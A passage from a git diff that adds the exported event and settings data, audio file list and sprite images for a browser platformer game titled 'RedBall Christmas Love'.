+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 783801945175253,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 351132204291563,
+ [
+ [
+ -1,
+ 41,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 793811921555430,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 942248680056661,
+ false,
+ [
+ [
+ 11,
+ "STARTENDLESS"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 432912005403732,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 467,
+ 51,
+ null,
+ 465847879385941,
+ false,
+ [
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 467,
+ 52,
+ false,
+ null
+ ],
+ [
+ 1,
+ 3.2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 467,
+ 103,
+ null,
+ 802421665681658,
+ false,
+ [
+ [
+ 0,
+ [
+ 20,
+ 324,
+ 76,
+ false,
+ null
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 410783613078761,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 734557029807917,
+ false,
+ [
+ [
+ 4,
+ 453
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 161220907063324,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 443399309263560,
+ false,
+ [
+ [
+ 2,
+ [
+ "pinche",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 90,
+ null,
+ 221650818296450,
+ false,
+ [
+ [
+ 4,
+ 388
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 821937223451809,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 99,
+ null,
+ 179133316611565,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 458608047012778,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 324,
+ 67,
+ "Platform",
+ 735992632683571,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -400
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 775754027703839,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 1.5
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 706172266354179,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 324,
+ 100,
+ null,
+ 368556490961932,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 100
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 310358044292859,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 225959129049893,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 624636629448364,
+ false,
+ [
+ [
+ 4,
+ 457
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 831480832675228,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 91,
+ null,
+ 869179298748007,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 457,
+ 50,
+ null,
+ 895496767763927,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 358663381203663,
+ false,
+ [
+ [
+ 2,
+ [
+ "estrella",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 938240872849184,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 906112632027700,
+ false,
+ [
+ [
+ 9,
+ 87
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 568187384250987,
+ false,
+ [
+ [
+ 11,
+ "jump"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 242500716781700,
+ false,
+ [
+ [
+ 11,
+ "jump"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 472925596582515,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 729629320188227,
+ false,
+ [
+ [
+ 9,
+ 87
+ ]
+ ]
+ ],
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 731015077205352,
+ false
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 958123213889687,
+ false,
+ [
+ [
+ 3,
+ 2
+ ]
+ ]
+ ],
+ [
+ 4,
+ 80,
+ null,
+ 899799432598339,
+ false,
+ [
+ [
+ 3,
+ 0
+ ],
+ [
+ 1,
+ [
+ 19,
+ 81,
+ [
+ [
+ 2,
+ "jump"
+ ],
+ [
+ 2,
+ "jump2"
+ ]
+ ]
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 902269010774357,
+ [
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 377271866500016,
+ false
+ ],
+ [
+ 324,
+ 109,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 796451826524674,
+ false
+ ]
+ ],
+ [
+ [
+ 328,
+ 79,
+ null,
+ 690894367957394,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 754863214834494,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 513187983793868,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 802717083377845,
+ false,
+ [
+ [
+ 11,
+ "STARTENDLESS"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 134459346066136,
+ [
+ [
+ 0,
+ 110,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 911792942224207,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 400425000546379,
+ false,
+ [
+ [
+ 11,
+ "STARTENDLESS"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 468,
+ 104,
+ "Fade",
+ 495375688992396,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 841714262658694,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 723581671524421,
+ false,
+ [
+ [
+ 4,
+ 469
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 51,
+ null,
+ 286012712853038,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 170.313
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 103,
+ null,
+ 139328767427334,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 808.171
+ ]
+ ]
+ ]
+ ],
+ [
+ 467,
+ 75,
+ null,
+ 303529542726072,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 395
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 813
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 119410393835411,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 229130903016387,
+ false,
+ [
+ [
+ 11,
+ "endlesscore"
+ ],
+ [
+ 8,
+ 4
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 779988448840832,
+ false,
+ [
+ [
+ 11,
+ "endlesshigh"
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesscore"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 116693828485644,
+ [
+ [
+ 554,
+ 57,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 294108409777865,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 956255213010969,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -1000
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 618376210717937,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 709847713982739,
+ [
+ [
+ 554,
+ 59,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 772370251149240,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 890934257765243,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 180587043172829,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 362099308068207,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 470022236049775,
+ false,
+ [
+ [
+ 4,
+ 381
+ ]
+ ]
+ ],
+ [
+ 381,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 263672393403988,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 270194642940030,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 429900371649276,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 381,
+ 30,
+ null,
+ 290024534926212,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 933549708367927,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 927692474784162,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 400396406027532,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 676340028130034,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 309554242766279,
+ false,
+ [
+ [
+ 4,
+ 381
+ ]
+ ]
+ ],
+ [
+ 381,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 410214143220180,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 536192364782400,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 452615943985390,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 381,
+ 30,
+ null,
+ 711879667183361,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 917767555822022,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 709062389125275,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 690193429279822,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 566253994814802,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 808811876983747,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 704315251794575,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 855281772601350,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 381,
+ 30,
+ null,
+ 429705440362590,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 317174830470613,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 178656093530449,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 387161379605023,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 382049121811825,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 892402081811460,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 221491627542472,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 381,
+ 30,
+ null,
+ 900332087587557,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 372977876435534,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 642181764713607,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "dragoff.m4a",
+ 3581
+ ],
+ [
+ "dragoff.ogg",
+ 6443
+ ],
+ [
+ "efecto2.m4a",
+ 9973
+ ],
+ [
+ "efecto2.ogg",
+ 13380
+ ],
+ [
+ "efecto2a.m4a",
+ 8249
+ ],
+ [
+ "efecto2a.ogg",
+ 10267
+ ],
+ [
+ "voz1.m4a",
+ 3914
+ ],
+ [
+ "voz1.ogg",
+ 7054
+ ],
+ [
+ "voz7.m4a",
+ 12635
+ ],
+ [
+ "voz7.ogg",
+ 12235
+ ],
+ [
+ "die2.m4a",
+ 35314
+ ],
+ [
+ "die2.ogg",
+ 34932
+ ],
+ [
+ "ahogado.m4a",
+ 11828
+ ],
+ [
+ "ahogado.ogg",
+ 13292
+ ],
+ [
+ "efecto1.m4a",
+ 14981
+ ],
+ [
+ "efecto1.ogg",
+ 18613
+ ],
+ [
+ "efecto3.m4a",
+ 3326
+ ],
+ [
+ "efecto3.ogg",
+ 6872
+ ],
+ [
+ "enemgomuere.m4a",
+ 4477
+ ],
+ [
+ "enemgomuere.ogg",
+ 7578
+ ],
+ [
+ "estrella.m4a",
+ 3994
+ ],
+ [
+ "estrella.ogg",
+ 7455
+ ],
+ [
+ "explocion.m4a",
+ 13018
+ ],
+ [
+ "explocion.ogg",
+ 13282
+ ],
+ [
+ "gameplay.m4a",
+ 256886
+ ],
+ [
+ "gameplay.ogg",
+ 257285
+ ],
+ [
+ "hitenemigo.m4a",
+ 3677
+ ],
+ [
+ "hitenemigo.ogg",
+ 7014
+ ],
+ [
+ "jump.m4a",
+ 2847
+ ],
+ [
+ "jump.ogg",
+ 6306
+ ],
+ [
+ "jump2.m4a",
+ 2582
+ ],
+ [
+ "jump2.ogg",
+ 5861
+ ],
+ [
+ "levelwin2.m4a",
+ 9962
+ ],
+ [
+ "levelwin2.ogg",
+ 13373
+ ],
+ [
+ "menu.m4a",
+ 175190
+ ],
+ [
+ "menu.ogg",
+ 175062
+ ],
+ [
+ "morir.m4a",
+ 11326
+ ],
+ [
+ "morir.ogg",
+ 12758
+ ],
+ [
+ "pinche.m4a",
+ 6140
+ ],
+ [
+ "pinche.ogg",
+ 8474
+ ],
+ [
+ "win levels.m4a",
+ 12107
+ ],
+ [
+ "win levels.ogg",
+ 13760
+ ],
+ [
+ "alert.m4a",
+ 3308
+ ],
+ [
+ "alert.ogg",
+ 6542
+ ],
+ [
+ "cohete.m4a",
+ 24912
+ ],
+ [
+ "cohete.ogg",
+ 21708
+ ],
+ [
+ "button.m4a",
+ 5480
+ ],
+ [
+ "button.ogg",
+ 7440
+ ],
+ [
+ "menustemas.m4a",
+ 253120
+ ],
+ [
+ "menustemas.ogg",
+ 221540
+ ],
+ [
+ "transition.m4a",
+ 3335
+ ],
+ [
+ "transition.ogg",
+ 6614
+ ],
+ [
+ "laserdie.m4a",
+ 5120
+ ],
+ [
+ "laserdie.ogg",
+ 8450
+ ],
+ [
+ "winner.m4a",
+ 18168
+ ],
+ [
+ "winner.ogg",
+ 22226
+ ],
+ [
+ "rebotador.m4a",
+ 2019
+ ],
+ [
+ "rebotador.ogg",
+ 5666
+ ],
+ [
+ "regalo.m4a",
+ 21663
+ ],
+ [
+ "regalo.ogg",
+ 20599
+ ],
+ [
+ "key.m4a",
+ 39340
+ ],
+ [
+ "key.ogg",
+ 39053
+ ]
+ ],
+ "media/",
+ false,
+ 800,
+ 480,
+ 4,
+ true,
+ true,
+ true,
+ "1.0",
+ true,
+ false,
+ 0,
+ 2,
+ 7256,
+ false,
+ true,
+ 1,
+ true,
+ "RedBall Christmas Love",
+ 0,
+ []
+ ]
+}
\ No newline at end of file
diff --git a/games/redball4/favicon.ico b/games/redball4/favicon.ico
new file mode 100644
index 00000000..ccbe3d11
Binary files /dev/null and b/games/redball4/favicon.ico differ
diff --git a/games/redball4/icon-256.png b/games/redball4/icon-256.png
new file mode 100644
index 00000000..66ed9b48
Binary files /dev/null and b/games/redball4/icon-256.png differ
diff --git a/games/redball4/images/alertero-sheet0.png b/games/redball4/images/alertero-sheet0.png
new file mode 100644
index 00000000..e8088467
Binary files /dev/null and b/games/redball4/images/alertero-sheet0.png differ
diff --git a/games/redball4/images/alertero-sheet1.png b/games/redball4/images/alertero-sheet1.png
new file mode 100644
index 00000000..bb8ebcbf
Binary files /dev/null and b/games/redball4/images/alertero-sheet1.png differ
diff --git a/games/redball4/images/bar-sheet0.png b/games/redball4/images/bar-sheet0.png
new file mode 100644
index 00000000..ca715a74
Binary files /dev/null and b/games/redball4/images/bar-sheet0.png differ
diff --git a/games/redball4/images/barra-sheet0.png b/games/redball4/images/barra-sheet0.png
new file mode 100644
index 00000000..ffa8680e
Binary files /dev/null and b/games/redball4/images/barra-sheet0.png differ
diff --git a/games/redball4/images/blink1-sheet0.png b/games/redball4/images/blink1-sheet0.png
new file mode 100644
index 00000000..a1e03d39
Binary files /dev/null and b/games/redball4/images/blink1-sheet0.png differ
diff --git a/games/redball4/images/bloody.png b/games/redball4/images/bloody.png
new file mode 100644
index 00000000..7648fe42
Binary files /dev/null and b/games/redball4/images/bloody.png differ
diff --git a/games/redball4/images/button1-sheet0.png b/games/redball4/images/button1-sheet0.png
new file mode 100644
index 00000000..78a90952
Binary files /dev/null and b/games/redball4/images/button1-sheet0.png differ
diff --git a/games/redball4/images/camer-sheet0.png b/games/redball4/images/camer-sheet0.png
new file mode 100644
index 00000000..b7c4270a
Binary files /dev/null and b/games/redball4/images/camer-sheet0.png differ
diff --git a/games/redball4/images/camera-sheet0.png b/games/redball4/images/camera-sheet0.png
new file mode 100644
index 00000000..68ec8130
Binary files /dev/null and b/games/redball4/images/camera-sheet0.png differ
diff --git a/games/redball4/images/camira-sheet0.png b/games/redball4/images/camira-sheet0.png
new file mode 100644
index 00000000..67d3fa91
Binary files /dev/null and b/games/redball4/images/camira-sheet0.png differ
diff --git a/games/redball4/images/cart-sheet0.png b/games/redball4/images/cart-sheet0.png
new file mode 100644
index 00000000..41948296
Binary files /dev/null and b/games/redball4/images/cart-sheet0.png differ
diff --git a/games/redball4/images/cartoonju-sheet0.png b/games/redball4/images/cartoonju-sheet0.png
new file mode 100644
index 00000000..ad3bc031
Binary files /dev/null and b/games/redball4/images/cartoonju-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground-sheet0.png
new file mode 100644
index 00000000..e09d5dbd
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground10-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground10-sheet0.png
new file mode 100644
index 00000000..9555a070
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground10-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground11-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground11-sheet0.png
new file mode 100644
index 00000000..3281ca36
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground11-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground12-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground12-sheet0.png
new file mode 100644
index 00000000..c371e6bd
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground12-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground13-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground13-sheet0.png
new file mode 100644
index 00000000..90ffb233
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground13-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground14-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground14-sheet0.png
new file mode 100644
index 00000000..c14e1bb7
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground14-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground2-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground2-sheet0.png
new file mode 100644
index 00000000..83d2f990
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground2-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground3-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground3-sheet0.png
new file mode 100644
index 00000000..02a52532
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground3-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground4-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground4-sheet0.png
new file mode 100644
index 00000000..ee76cca3
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground4-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground5-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground5-sheet0.png
new file mode 100644
index 00000000..a7bcf111
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground5-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground6-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground6-sheet0.png
new file mode 100644
index 00000000..6e2954c2
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground6-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground7-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground7-sheet0.png
new file mode 100644
index 00000000..d19d48cd
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground7-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground8-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground8-sheet0.png
new file mode 100644
index 00000000..2e02dd56
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground8-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformerground9-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformerground9-sheet0.png
new file mode 100644
index 00000000..ba5baefb
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformerground9-sheet0.png differ
diff --git a/games/redball4/images/cartoonjunglegametileset_platformergroundadditional-sheet0.png b/games/redball4/images/cartoonjunglegametileset_platformergroundadditional-sheet0.png
new file mode 100644
index 00000000..74c1972f
Binary files /dev/null and b/games/redball4/images/cartoonjunglegametileset_platformergroundadditional-sheet0.png differ
diff --git a/games/redball4/images/cog-sheet0.png b/games/redball4/images/cog-sheet0.png
new file mode 100644
index 00000000..238cb39e
Binary files /dev/null and b/games/redball4/images/cog-sheet0.png differ
diff --git a/games/redball4/images/cog-sheet1.png b/games/redball4/images/cog-sheet1.png
new file mode 100644
index 00000000..9b16e2fb
Binary files /dev/null and b/games/redball4/images/cog-sheet1.png differ
diff --git a/games/redball4/images/cog-sheet2.png b/games/redball4/images/cog-sheet2.png
new file mode 100644
index 00000000..c6d3e741
Binary files /dev/null and b/games/redball4/images/cog-sheet2.png differ
diff --git a/games/redball4/images/cog2-sheet0.png b/games/redball4/images/cog2-sheet0.png
new file mode 100644
index 00000000..8df02910
Binary files /dev/null and b/games/redball4/images/cog2-sheet0.png differ
diff --git a/games/redball4/images/cohetero-sheet0.png b/games/redball4/images/cohetero-sheet0.png
new file mode 100644
index 00000000..84b56fc2
Binary files /dev/null and b/games/redball4/images/cohetero-sheet0.png differ
diff --git a/games/redball4/images/coin2-sheet0.png b/games/redball4/images/coin2-sheet0.png
new file mode 100644
index 00000000..f367e7a6
Binary files /dev/null and b/games/redball4/images/coin2-sheet0.png differ
diff --git a/games/redball4/images/coinpart.png b/games/redball4/images/coinpart.png
new file mode 100644
index 00000000..f3692226
Binary files /dev/null and b/games/redball4/images/coinpart.png differ
diff --git a/games/redball4/images/coinsfont10.png b/games/redball4/images/coinsfont10.png
new file mode 100644
index 00000000..5e8940d5
Binary files /dev/null and b/games/redball4/images/coinsfont10.png differ
diff --git a/games/redball4/images/coinsfont4.png b/games/redball4/images/coinsfont4.png
new file mode 100644
index 00000000..564e9e89
Binary files /dev/null and b/games/redball4/images/coinsfont4.png differ
diff --git a/games/redball4/images/colisionador1-sheet0.png b/games/redball4/images/colisionador1-sheet0.png
new file mode 100644
index 00000000..126e7a7a
Binary files /dev/null and b/games/redball4/images/colisionador1-sheet0.png differ
